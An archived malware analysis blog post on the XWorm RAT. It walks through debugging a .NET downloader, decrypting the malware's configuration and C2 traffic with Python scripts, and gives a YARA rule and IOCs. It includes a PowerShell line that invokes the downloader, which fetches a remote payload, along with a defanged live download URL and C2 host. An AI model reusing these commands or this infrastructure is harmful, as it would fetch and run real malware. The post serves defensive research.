XWorm Part 2 - From Downloader to Config Extraction Published: 2025-07-06 · Archived: 2026-04-06 00:22:59 UTC Overview In Part 2 of this XWorm malware analysis series, we analyze a .NET DLL downloader responsible for delivering XWorm. This stage of the analysis focuses on using debugging techniques to extract the final payload, followed by performing decryption of XWorm’s configuration. Technical Analysis DLL Downloader Dropping our extracted PE from Part 1 into Detect It Easy reveals a 32-bit .NET DLL. figure 1 - Detect it Easy .NET DLL downloader output Using dnSpy to decompile the DLL, we can navigate to the method invoked by the PowerShell script from Part 1, which is the VAI() method located inside of the Home class in the ClassLibrary1 namespace. figure 2 - decompiled VAI() method from DLL downloader https://malwaretrace.net/posts/xworm-part-2/ Page 1 of 11 The downloader accepts builder arguments from the previously observed PowerShell script to control how the final payload is delivered. Our sample passes an encrypted URL string, a path, filename, filetype and a few other values as seen in the below snippet. 1 2 3 $builder_args = @('0hHduIzYzIDN4MDMxcTY4MjY2gDM2QGN3gDO1MzNiJDM1ETZf9mdpVXcyF2L92Yuc2bsJ2b0NXZ29GbuQnchR3cs92bwRWYlR2LvoDc0RH $loaded_assembly.GetType("ClassLibrary1.Home").GetMethod("VAI").Invoke($null, $builder_args); To make static analysis easier, we can can run the sample through de4dot, a popular .NET deobfuscation tool. 1 .\de4dot.exe .\assembly.mal After loading output file extracted_assembly-cleaned.mal into dnSpy, we can see symbols have been renamed to be human-readable, previously being Unicode escaped like \uE777 . figure 3 - cleaned output from de4dot showing deobfuscated symbols Strings are resolved during runtime using method Class237.smethod_0() , which takes an integer ordinal and returns a decrypted string. figure 4 - string resolver function using hashtable lookup Constant unfolding methods are also used to resolve double and float values during runtime as seen in figure 5 and 6. figure 5 - runtime double calculation method figure 6 - runtime integer calculation method We can replace all calls to these methods with their return value using a publicly available .NET string decryption tool written by n1ght-w0lf1. This will make static analysis easier, allowing us to view resolved strings and constants within https://malwaretrace.net/posts/xworm-part-2/ Page 2 of 11 dnSpy. After defining the target method signatures within the decryption script, we can run python3 dotnet_string_decryptor.py C:\path\to\assembly . 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 class StringDecryptor: DECRYPTION_METHOD_SIGNATURES = [ { // string resolver signature "Parameters": ["System.Int32"], "ReturnType": "System.String" }, { // double resolver signature "Parameters": ["System.Int32"], "ReturnType": "System.Double" }, { // int resolver signature "Parameters": ["System.Int32"], "ReturnType": "System.Int32" }, ] Loading the output assembly into dnSpy and translating some of the Portuguese parameter names, we can begin to make sense of the main function. The first 54 lines perform various anti-vm checks, which we will want to skip past once debugging. figure 7 - anti-vm checks in deobfuscated main function Of interest are the last few lines that are executed after builder arguments are parsed. This is where the final payload is downloaded and decrypted before passing to x32.Run or x64.Load for execution depending on the final payload’s architecture. https://malwaretrace.net/posts/xworm-part-2/ Page 3 of 11 figure 8 - payload download and execution logic based on architecture Using a dynamic approach, we can debug this DLL using dnSpy to extract the downloaded payload, where we use PowerShell as our debugger host process. By loading the assembly into our PowerShell process, we can invoke methods from the downloader directly within the command line. This is a debugging trick I learned through a video by MalwareAnalysisForHedgehogs2 that I found in the OALabs malware reverse engineering Discord channel3. Running the following will load the assembly into our PowerShell process. 1 [Reflection.Assembly]::LoadFile("C:\path\to\assembly"); We can then attach dnSpy’s debugger to our PowerShell process via Debug → Attach to Process. Exceptions were thrown when attempting to debug the deobfuscated DLL, though it was still helpful to reference during debugging of the original sample. Then, we can set breakpoints on the first line of VAI() to avoid executing anti-analysis checks, as well as the start of the download logic. figure 9 - breakpoint at start of VAI() before anti-vm logic https://malwaretrace.net/posts/xworm-part-2/ Page 4 of 11 figure 10 - breakpoint set on payload download logic Navigating back to the PowerShell window, the below can be run to invoke the downloader using arguments from the previous script. 1 [ClassLibrary1.Home]::VAI('0hHduIzYzIDN4MDMxcTY4MjY2gDM2QGN3gDO1MzNiJDM1ETZf9mdpVXcyF2Lt92Yuc2bsJ2b0NXZ29GbuQnchR3cs92bwRWYlR Once we hit our initial breakpoint, we can right-click the line where download logic begins and click “Set Next Statement” to skip past argument parsing and anti-vm checks. After stepping through the code, we see a URL string is crafted using the first parameter passed to VAI() . figure 11 - reconstructed URL from first VAI() parameter https://malwaretrace.net/posts/xworm-part-2/ Page 5 of 11 An HTTP GET request is then made to the crafted URL to download a hex encoded blob which is then reversed, revealing the magic bytes of a PE file 4D 5A . figure 12 - hex payload showing MZ header Opening the decoded PE file into Detect It Easy reveals a 32-bit .NET assembly. figure 13 - Detect it Easy output for XWorm Decompiling the assembly in dnSpy confirms we now have the final XWorm payload. figure 14 - dnSpy shows XWorm identity XWorm The entrypoint function [Stub.Main]::Main() performs a sleep operation before decrypting the configuration stored in the [Settings] class. https://malwaretrace.net/posts/xworm-part-2/ Page 6 of 11 figure 15 - XWorm configuration structure in memory Values are decrypted using AES in ECB mode with a 256 bit key, where the key is derived from the MD5 hash of the mutex config value. figure 16 - AES decryption routine for configuration The sample’s configuration values can be decrypted with the below Python script, revealing the configuration seen in figure 17. https://malwaretrace.net/posts/xworm-part-2/ Page 7 of 11 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 from Crypto.Cipher import AES import hashlib import base64 # dictionary of encrypted config values settings = { "Hosts" : "hjpLEVZlk59e0F/4oPBKM+ynOibAJGsakXT1qyefhjg=", "Port" : "bT9Sep3Oxd5SvGi21oa2dg==", "KEY" : "GlFkVHYzjULH0jPfIt0NTQ==", "SPL" : "roSvIOX9LqqCx4ZfsEegyg==", "Groub" : "/xlaUqfu8vOhWKfkJ57YLA==", "USBNM" : "FwKiqfBGA/KFY56eS1wZrQ==", "Mutex" : "NOQFTA4Uaa0s9lW4" } # generate key using mutex value def get_key_from_mutex(mutex): mutex_md5 = hashlib.md5(mutex.encode()) mutex_md5 = mutex_md5.hexdigest() key = bytearray(32) key[:16] = bytes.fromhex(mutex_md5) key[15:31] = bytes.fromhex(mutex_md5) key[31] = 0x00 return key # decrypt setting with key using AES in ECB mode def decrypt_setting(key, encrypted_setting): decoded_setting = base64.b64decode(encrypted_setting) cipher = AES.new(key, AES.MODE_ECB) decrypted_setting = cipher.decrypt(decoded_setting) return decrypted_setting.decode('utf-8').strip() def main(): key = get_key_from_mutex(settings["Mutex"]) print(f'Hosts: {decrypt_setting(key, settings["Hosts"])}') print(f'Port: {decrypt_setting(key, settings["Port"])}') print(f'KEY: {decrypt_setting(key, settings["KEY"])}') print(f'SPL: {decrypt_setting(key, settings["SPL"])}') print(f'Groub: {decrypt_setting(key, settings["Groub"])}') print(f'USBNM: {decrypt_setting(key, settings["USBNM"])}') print(f'Mutex: {settings["Mutex"]}') if __name__=="__main__": main() figure 17 - decrypted configuration Packet Decryption XWorm communicates with its C2 server through AES GCM encrypted messages over TCP. The protcol begins with an integer prefix defining the message length, followed by a null-byte where the encrypted message follows. A simple visualization of the packet structure is shown below. https://malwaretrace.net/posts/xworm-part-2/ Page 8 of 11 1 2 3 4 5 6 7 8 9 10 Packet Structure (Length Prefix + Null Delimiter + AES Encrypted Payload) [0] [1] [2] [3] [4] [5] [6] ... +--------+--------+--------+--------+--------+--------+--------+ | '3' | '2' | \x00 | ? | ? | ? | ? | +--------+--------+--------+--------+--------+--------+--------+ | Length | Length | Delim | AES Encrypted Message | +--------+--------+--------+--------+--------+--------+--------+ ... Messages are encrypted using dedicated method [Stub.Helper]::AES_Encryptor() which uses AES in ECB mode with a 256-bit key. The key is the MD5 hash of the decrypted KEY config setting, converted from hex. An image of this method is shown below. figure 18 - packet encryption method The below Python script can be used to decrypt an XWorm packet as seen in figure 19. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 from Crypto.Util.Padding import unpad from Crypto.Cipher import AES import hashlib import base64 # hex encoded c2 packet encrypted_packet = '3238380049d8de8dda622fe99fb29522a6ed7e513ec0d73f2e48a1717353eae6666c920dc909f579ab6723d4e38dfc30ed4cf5f5 # dictionary of encrypted config values settings = { "Hosts" : "hjpLEVZlk59e0F/4oPBKM+ynOibAJGsakXT1qyefhjg=", "Port" : "bT9Sep3Oxd5SvGi21oa2dg==", "KEY" : "GlFkVHYzjULH0jPfIt0NTQ==", "SPL" : "roSvIOX9LqqCx4ZfsEegyg==", "Groub" : "/xlaUqfu8vOhWKfkJ57YLA==", "USBNM" : "FwKiqfBGA/KFY56eS1wZrQ==", "Mutex" : "NOQFTA4Uaa0s9lW4" } # generate config AES key using `Mutex` from config def get_config_key(mutex_setting): mutex_md5 = hashlib.md5(mutex_setting.encode()) mutex_md5 = mutex_md5.hexdigest() key = bytearray(32) key[:16] = bytes.fromhex(mutex_md5) key[15:31] = bytes.fromhex(mutex_md5) key[31] = 0x00 return key # generate c2 AES key using `KEY` from config def get_c2_key(key_setting): key = get_config_key(settings["Mutex"]) https://malwaretrace.net/posts/xworm-part-2/ Page 9 of 11 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 config_key = decrypt_setting(key, settings["KEY"]) c2_key = bytes.fromhex(hashlib.md5(config_key).hexdigest()) return c2_key # decrypt setting with key using AES in ECB mode def decrypt_setting(key, encrypted_setting): decoded_setting = base64.b64decode(encrypted_setting) cipher = AES.new(key, AES.MODE_ECB) decrypted_setting = unpad(cipher.decrypt(decoded_setting), AES.block_size) return decrypted_setting # decrypt hex encoded c2 traffic def decrypt_packet(c2_key, encrypted_packet): packet_bytes = bytes.fromhex(encrypted_packet.split("00", 1)[1]) # remove packet length header cipher = AES.new(c2_key, AES.MODE_ECB) decrypted_packet = unpad(cipher.decrypt(packet_bytes), AES.block_size) return decrypted_packet.decode("utf-8") def main(): c2_key = get_c2_key(settings["KEY"]) print(f"\nDecrypted Packet:\n\n{decrypt_packet(c2_key, encrypted_packet)}") if __name__=="__main__": main() figure 19 - decrypted C2 check-in packet YARA 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 rule XWormRAT { meta: author = "Jared G." description = "Detects unpacked XWorm RAT" date = "2025-07-06" sha256 = "6cae1f2c96d112062e571dc8b6152d742ba9358992114703c14b5fc37835f896" reference = "https://malwaretrace.net/posts/xworm-part-2" strings: $s1 = "-ExecutionPolicy Bypass -File" ascii wide $s2 = "sendPlugin" ascii wide $s3 = "savePlugin" ascii wide $s4 = "RemovePlugins" ascii wide $s5 = "Plugins Removed!" ascii wide $s6 = "Keylogger Not Enabled" ascii wide $s7 = "RunShell" ascii wide $s8 = "StartDDos" ascii wide $s9 = "StopDDos" ascii wide $s10 = "Win32_Processor.deviceid=\"CPU0\"" ascii wide $s11 = "SELECT * FROM Win32_VideoController" ascii wide $s12 = "Select * from AntivirusProduct" ascii wide $s13 = "set_ReceiveBufferSize" ascii wide $s14 = "set_SendBufferSize" ascii wide $s15 = "ClientSocket" ascii wide $s16 = "USBNM" ascii wide $s17 = "AES_Encryptor" ascii wide $s18 = "AES_Decryptor" ascii wide condition: 12 of them } IOCs https://malwaretrace.net/posts/xworm-part-2/ Page 10 of 11 All hashes from the below IOC table will be available for download on MalShare. Label IOC XWorm Download URL hxxp[://]deadpoolstart[.]lovestoblog[.]com/arquivo_e1502b7358874d6086b38a71038423c2[.]txt XWorm C2 deadpoolstart2064[.]duckdns[.]org:7021 DLL Downloader SHA-256 Hash c2bce00f20b3ac515f3ed3fd0352d203ba192779d6b84dbc215c3eec3a3ff19c XWorm SHA-256 Hash 6cae1f2c96d112062e571dc8b6152d742ba9358992114703c14b5fc37835f896 References and Resources 1. https://github.com/n1ght-w0lf/dotnet-string-decryptor/ ↩︎ 2. https://www.youtube.com/watch?v=wLf_Ln8jupY&t=1300s ↩︎ 3. https://discord.gg/oalabs ↩︎ Source: https://malwaretrace.net/posts/xworm-part-2/ https://malwaretrace.net/posts/xworm-part-2/ Page 11 of 11